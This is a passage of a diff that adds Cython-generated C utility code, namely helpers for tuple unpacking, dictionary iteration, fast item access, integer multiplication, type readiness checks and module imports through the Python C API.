RaiseNoneIterError */ + static CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void) { + PyErr_SetString(PyExc_TypeError, "'NoneType' object is not iterable"); +} + +/* UnpackTupleError */ + static void __Pyx_UnpackTupleError(PyObject *t, Py_ssize_t index) { + if (t == Py_None) { + __Pyx_RaiseNoneNotIterableError(); + } else if (PyTuple_GET_SIZE(t) < index) { + __Pyx_RaiseNeedMoreValuesError(PyTuple_GET_SIZE(t)); + } else { + __Pyx_RaiseTooManyValuesError(index); + } +} + +/* UnpackTuple2 */ + static CYTHON_INLINE int __Pyx_unpack_tuple2_exact( + PyObject* tuple, PyObject** pvalue1, PyObject** pvalue2, int decref_tuple) { + PyObject *value1 = NULL, *value2 = NULL; +#if CYTHON_COMPILING_IN_PYPY + value1 = PySequence_ITEM(tuple, 0); if (unlikely(!value1)) goto bad; + value2 = PySequence_ITEM(tuple, 1); if (unlikely(!value2)) goto bad; +#else + value1 = PyTuple_GET_ITEM(tuple, 0); Py_INCREF(value1); + value2 = PyTuple_GET_ITEM(tuple, 1); Py_INCREF(value2); +#endif + if (decref_tuple) { + Py_DECREF(tuple); + } + *pvalue1 = value1; + *pvalue2 = value2; + return 0; +#if CYTHON_COMPILING_IN_PYPY +bad: + Py_XDECREF(value1); + Py_XDECREF(value2); + if (decref_tuple) { Py_XDECREF(tuple); } + return -1; +#endif +} +static int __Pyx_unpack_tuple2_generic(PyObject* tuple, PyObject** pvalue1, PyObject** pvalue2, + int has_known_size, int decref_tuple) { + Py_ssize_t index; + PyObject *value1 = NULL, *value2 = NULL, *iter = NULL; + iternextfunc iternext; + iter = PyObject_GetIter(tuple); + if (unlikely(!iter)) goto bad; + if (decref_tuple) { Py_DECREF(tuple); tuple = NULL; } + iternext = __Pyx_PyObject_GetIterNextFunc(iter); + value1 = iternext(iter); if (unlikely(!value1)) { index = 0; goto unpacking_failed; } + value2 = iternext(iter); if (unlikely(!value2)) { index = 1; goto unpacking_failed; } + if (!has_known_size && unlikely(__Pyx_IternextUnpackEndCheck(iternext(iter), 2))) goto bad; + Py_DECREF(iter); + *pvalue1 = value1; + *pvalue2 = value2; + return 0; +unpacking_failed: + if (!has_known_size && __Pyx_IterFinish() == 0) + __Pyx_RaiseNeedMoreValuesError(index); +bad: + Py_XDECREF(iter); + Py_XDECREF(value1); + Py_XDECREF(value2); + if (decref_tuple) { Py_XDECREF(tuple); } + return -1; +} + +/* dict_iter */ + #if CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 +#include +#endif +static CYTHON_INLINE PyObject* __Pyx_dict_iterator(PyObject* iterable, int is_dict, PyObject* method_name, + Py_ssize_t* p_orig_length, int* p_source_is_dict) { + is_dict = is_dict || likely(PyDict_CheckExact(iterable)); + *p_source_is_dict = is_dict; + if (is_dict) { +#if !CYTHON_COMPILING_IN_PYPY + *p_orig_length = PyDict_Size(iterable); + Py_INCREF(iterable); + return iterable; +#elif PY_MAJOR_VERSION >= 3 + static PyObject *py_items = NULL, *py_keys = NULL, *py_values = NULL; + PyObject **pp = NULL; + if (method_name) { + const char *name = PyUnicode_AsUTF8(method_name); + if (strcmp(name, "iteritems") == 0) pp = &py_items; + else if (strcmp(name, "iterkeys") == 0) pp = &py_keys; + else if (strcmp(name, "itervalues") == 0) pp = &py_values; + if (pp) { + if (!*pp) { + *pp = PyUnicode_FromString(name + 4); + if (!*pp) + return NULL; + } + method_name = *pp; + } + } +#endif + } + *p_orig_length = 0; + if (method_name) { + PyObject* iter; + iterable = __Pyx_PyObject_CallMethod0(iterable, method_name); + if (!iterable) + return NULL; +#if !CYTHON_COMPILING_IN_PYPY + if (PyTuple_CheckExact(iterable) || PyList_CheckExact(iterable)) + return iterable; +#endif + iter = PyObject_GetIter(iterable); + Py_DECREF(iterable); + return iter; + } + return PyObject_GetIter(iterable); +} +static CYTHON_INLINE int __Pyx_dict_iter_next( + PyObject* iter_obj, CYTHON_NCP_UNUSED Py_ssize_t orig_length, CYTHON_NCP_UNUSED Py_ssize_t* ppos, + PyObject** pkey, PyObject** pvalue, PyObject** pitem, int source_is_dict) { + PyObject* next_item; +#if !CYTHON_COMPILING_IN_PYPY + if (source_is_dict) { + PyObject *key, *value; + if (unlikely(orig_length != PyDict_Size(iter_obj))) { + PyErr_SetString(PyExc_RuntimeError, "dictionary changed size during iteration"); + return -1; + } + if (unlikely(!PyDict_Next(iter_obj, ppos, &key, &value))) { + return 0; + } + if (pitem) { + PyObject* tuple = PyTuple_New(2); + if (unlikely(!tuple)) { + return -1; + } + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(tuple, 0, key); + PyTuple_SET_ITEM(tuple, 1, value); + *pitem = tuple; + } else { + if (pkey) { + Py_INCREF(key); + *pkey = key; + } + if (pvalue) { + Py_INCREF(value); + *pvalue = value; + } + } + return 1; + } else if (PyTuple_CheckExact(iter_obj)) { + Py_ssize_t pos = *ppos; + if (unlikely(pos >= PyTuple_GET_SIZE(iter_obj))) return 0; + *ppos = pos + 1; + next_item = PyTuple_GET_ITEM(iter_obj, pos); + Py_INCREF(next_item); + } else if (PyList_CheckExact(iter_obj)) { + Py_ssize_t pos = *ppos; + if (unlikely(pos >= PyList_GET_SIZE(iter_obj))) return 0; + *ppos = pos + 1; + next_item = PyList_GET_ITEM(iter_obj, pos); + Py_INCREF(next_item); + } else +#endif + { + next_item = PyIter_Next(iter_obj); + if (unlikely(!next_item)) { + return __Pyx_IterFinish(); + } + } + if (pitem) { + *pitem = next_item; + } else if (pkey && pvalue) { + if (__Pyx_unpack_tuple2(next_item, pkey, pvalue, source_is_dict, source_is_dict, 1)) + return -1; + } else if (pkey) { + *pkey = next_item; + } else { + *pvalue = next_item; + } + return 1; +} + +/* GetItemInt */ + static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_MultiplyObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + +#ifdef HAVE_LONG_LONG + if (sizeof(PY_LONG_LONG) > sizeof(long)) { + PY_LONG_LONG result = (PY_LONG_LONG)a * (PY_LONG_LONG)b; + return (result >= LONG_MIN && result <= LONG_MAX) ? + PyInt_FromLong((long)result) : PyLong_FromLongLong(result); + } +#endif +#if CYTHON_USE_TYPE_SLOTS + return PyInt_Type.tp_as_number->nb_multiply(op1, op2); +#else + return PyNumber_Multiply(op1, op2); +#endif + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op1); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT+30) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT+30) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT+30) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT+30) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT+30) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT+30) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT+30) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT+30) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT+30) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT+30) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT+30) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT+30) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_multiply(op1, op2); + } + } + CYTHON_UNUSED_VAR(a); + CYTHON_UNUSED_VAR(b); + #ifdef HAVE_LONG_LONG + lla = a; + goto long_long; + #else + return PyLong_Type.tp_as_number->nb_multiply(op1, op2); + #endif + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla * llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("multiply", return NULL) + result = ((double)a) * (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceMultiply : PyNumber_Multiply)(op1, op2); +} +#endif + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* RaiseUnboundLocalError */ + static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname) { + PyErr_Format(PyExc_UnboundLocalError, "local variable '%s' referenced before assignment", varname); +} + +/* ReturnWithStopIteration */ + static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportDottedModule */ + #if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Error(PyObject *name, PyObject *parts_tuple, Py_ssize_t count) { + PyObject *partial_name = NULL, *slice = NULL, *sep = NULL; + if (unlikely(PyErr_Occurred())) { + PyErr_Clear(); + } + if (likely(PyTuple_GET_SIZE(parts_tuple) == count)) { + partial_name = name; + } else { + slice = PySequence_GetSlice(parts_tuple, 0, count); + if (unlikely(!slice)) + goto bad; + sep = PyUnicode_FromStringAndSize(".", 1); + if (unlikely(!sep)) + goto bad; + partial_name = PyUnicode_Join(sep, slice); + } + PyErr_Format( +#if PY_MAJOR_VERSION < 3 + PyExc_ImportError, + "No module named '%s'", PyString_AS_STRING(partial_name)); +#else +#if PY_VERSION_HEX >= 0x030600B1 + PyExc_ModuleNotFoundError, +#else + PyExc_ImportError, +#endif + "No module named '%U'", partial_name); +#endif +bad: + Py_XDECREF(sep); + Py_XDECREF(slice); + Py_XDECREF(partial_name); + return NULL; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Lookup(PyObject *name) { + PyObject *imported_module; +#if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + return NULL; + imported_module = __Pyx_PyDict_GetItemStr(modules, name); + Py_XINCREF(imported_module); +#else + imported_module = PyImport_GetModule(name); +#endif + return imported_module; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple) { + Py_ssize_t i, nparts; + nparts = PyTuple_GET_SIZE(parts_tuple); + for (i=1; i < nparts && module; i++) { + PyObject *part, *submodule; +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + part = PyTuple_GET_ITEM(parts_tuple, i); +#else + part = PySequence_ITEM(parts_tuple, i); +#endif + submodule = __Pyx_PyObject_GetAttrStrNoError(module, part); +#if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(part); +#endif + Py_DECREF(module); + module = submodule; + } + if (unlikely(!module)) { + return __Pyx__ImportDottedModule_Error(name, parts_tuple, i); + } + return module; +} +#endif +static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if PY_MAJOR_VERSION < 3 + PyObject *module, *from_list, *star = __pyx_n_s__46; + CYTHON_UNUSED_VAR(parts_tuple); + from_list = PyList_New(1); + if (unlikely(!from_list)) + return NULL; + Py_INCREF(star); + PyList_SET_ITEM(from_list, 0, star); + module = __Pyx_Import(name, from_list, 0); + Py_DECREF(from_list); + return module; +#else + PyObject *imported_module; + PyObject *module = __Pyx_Import(name, NULL, 0); + if (!parts_tuple || unlikely(!module)) + return module; + imported_module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(imported_module)) { + Py_DECREF(module); + return imported_module; + } + PyErr_Clear(); + return __Pyx_ImportDottedModule_WalkParts(module, name, parts_tuple); +#endif +} +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030400B1 + PyObject *module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(module)) { + PyObject *spec = __Pyx_PyObject_GetAttrStrNoError(module, __pyx_n_s_spec); + if (likely(spec)) { + PyObject *unsafe = __Pyx_PyObject_GetAttrStrNoError(spec, __pyx_n_s_initializing); + if (likely(!unsafe || !__Pyx_PyObject_IsTrue(unsafe))) { + Py_DECREF(spec); + spec = NULL; + } + Py_XDECREF(unsafe); + } + if (likely(!spec)) { + PyErr_Clear(); + return module; + } + Py_DECREF(spec); + Py_DECREF(module); + } else if (PyErr_Occurred()) { + PyErr_Clear(); + } +#endif + return __Pyx__ImportDottedModule(name, parts_tuple); +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__47); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + 